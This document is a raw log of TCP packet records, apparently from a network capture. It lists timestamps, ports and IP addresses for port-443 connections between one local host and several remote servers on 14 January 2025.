Jan 14, 2025 15:56:01.866774082 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.866782904 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.866818905 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.866833925 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.875636101 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.882215023 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.882244110 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.882972002 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.884366035 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.884466887 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.884560108 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.884974003 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.885013103 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.899511099 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.903863907 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.903891087 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.903980017 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.903992891 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.904033899 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.904767990 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.904788971 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.904864073 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.904897928 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.905648947 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.905706882 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.905714035 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.905762911 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.944978952 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.945003033 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.945101023 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.945117950 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.945245028 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.945337057 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.945355892 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.945436954 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.945445061 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.945524931 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.946033001 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.946057081 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.946098089 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.946105957 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.946116924 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.946134090 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.946142912 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.946154118 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.946181059 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.946176052 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.946221113 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.946248055 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.947267056 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.947330952 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.947351933 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.947408915 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.948581934 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.948601961 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.948667049 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.948673964 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.948708057 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.948723078 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.952917099 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.952943087 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.952982903 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.952995062 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.953023911 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.953043938 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.957318068 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.986280918 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.986315966 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.986430883 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.986462116 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.986506939 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.990154028 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.990251064 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.990890980 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.990988970 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.991008043 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.991128922 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.991166115 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.991205931 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.991218090 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.991240978 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.991446972 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.002049923 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.002096891 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.002132893 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.002165079 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.002181053 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.016910076 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.016937017 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.016989946 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.017024040 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.017046928 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.023107052 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.023176908 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.023210049 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.023227930 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.023456097 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.029015064 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.029045105 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.031913042 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.031936884 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.031982899 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032000065 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032026052 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032046080 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032140970 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032157898 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032212019 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032221079 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032294989 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032583952 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032599926 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032645941 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032653093 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032680035 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032706022 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032821894 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032861948 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032877922 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032890081 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032907963 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.032913923 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.032947063 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.087250948 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.087352991 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.087449074 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.087470055 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.087562084 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.087595940 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.087666035 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.087740898 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.101265907 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.101289034 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.111660004 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.111710072 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.111782074 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.111943960 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:02.111968994 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:02.112323046 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.112341881 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.527396917 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.570027113 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:02.662172079 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:02.662229061 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.662754059 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.677052975 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:02.677192926 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.677369118 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:02.719379902 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.834717035 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.835138083 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.835150957 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.835575104 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.836144924 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.836226940 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:02.836375952 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:02.852552891 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.852632046 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.852678061 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:02.853851080 CET	49871	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:02.853873014 CET	443	49871	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:02.883336067 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.225012064 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.225064993 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.225486994 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.225486994 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.225537062 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.418204069 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.418231964 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.418247938 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.418329954 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.418349028 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.418589115 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.497175932 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.509979963 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.510004044 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.510319948 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.510354996 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.525966883 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.525986910 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.526108980 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.526108980 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.526124001 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.528084040 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.528233051 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.528249025 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.576545000 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.591696024 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.591728926 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.591768980 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.592330933 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.592330933 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.592350960 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.606067896 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.606093884 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.606214046 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.606214046 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.606235981 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.621824980 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.621845961 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.621980906 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.622001886 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.668473959 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.671348095 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.671367884 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.671399117 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.671416044 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.671468973 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.671482086 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.671516895 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.671528101 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.673552990 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.673582077 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.673682928 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.673682928 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.673691988 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.675304890 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.675365925 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.675374985 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.675491095 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.679717064 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.679755926 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.679790020 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.679806948 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.679922104 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.679922104 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.680200100 CET	49872	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:03.680214882 CET	443	49872	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:03.706948996 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.707387924 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.707405090 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.708476067 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.709060907 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.709060907 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.709142923 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.709686041 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.709707022 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.751089096 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.819004059 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.819077015 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:03.819221020 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.820373058 CET	49882	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:03.820396900 CET	443	49882	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:05.940989971 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:05.941078901 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:05.941133976 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:07.459346056 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:07.459387064 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:07.590667963 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:56:07.590760946 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:56:07.590863943 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:56:09.235419989 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:56:09.235449076 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:56:11.607356071 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:11.607398033 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:11.607495070 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:11.608095884 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:11.608140945 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:11.608226061 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:11.608371973 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:11.608386993 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:11.608624935 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:11.608640909 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.086323023 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.086668015 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.086675882 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.087429047 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.087610006 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.087629080 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.087893963 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.087970972 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.088648081 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.088711023 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.090234041 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.090306044 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.090893030 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.090960979 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.091342926 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.091348886 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.138135910 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.138149977 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.138164997 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.184571028 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.209821939 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.209908009 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.209990025 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.356512070 CET	49930	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.356573105 CET	443	49930	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.393279076 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.393301964 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.393368959 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.393594980 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.393610954 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.869638920 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.869978905 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.869997025 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.871053934 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.871120930 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.873588085 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.873692989 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.873820066 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.873827934 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.917334080 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.991549969 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.991648912 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.991764069 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.992290020 CET	49936	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.992312908 CET	443	49936	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.995927095 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.995980978 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:12.996040106 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.997184992 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:12.997209072 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.485155106 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.485465050 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.485476017 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.485812902 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.486154079 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.486217976 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.486339092 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.528177977 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.528206110 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.912672043 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.912729025 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.912736893 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.915426016 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.915518045 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.915976048 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.915990114 CET	443	49940	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.915997982 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.916042089 CET	49940	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.916843891 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.916872978 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:13.916970968 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.917246103 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:13.917257071 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.396950960 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.397250891 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.397258997 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.397762060 CET	443	49945	23.95.206.235	192.168.2.6
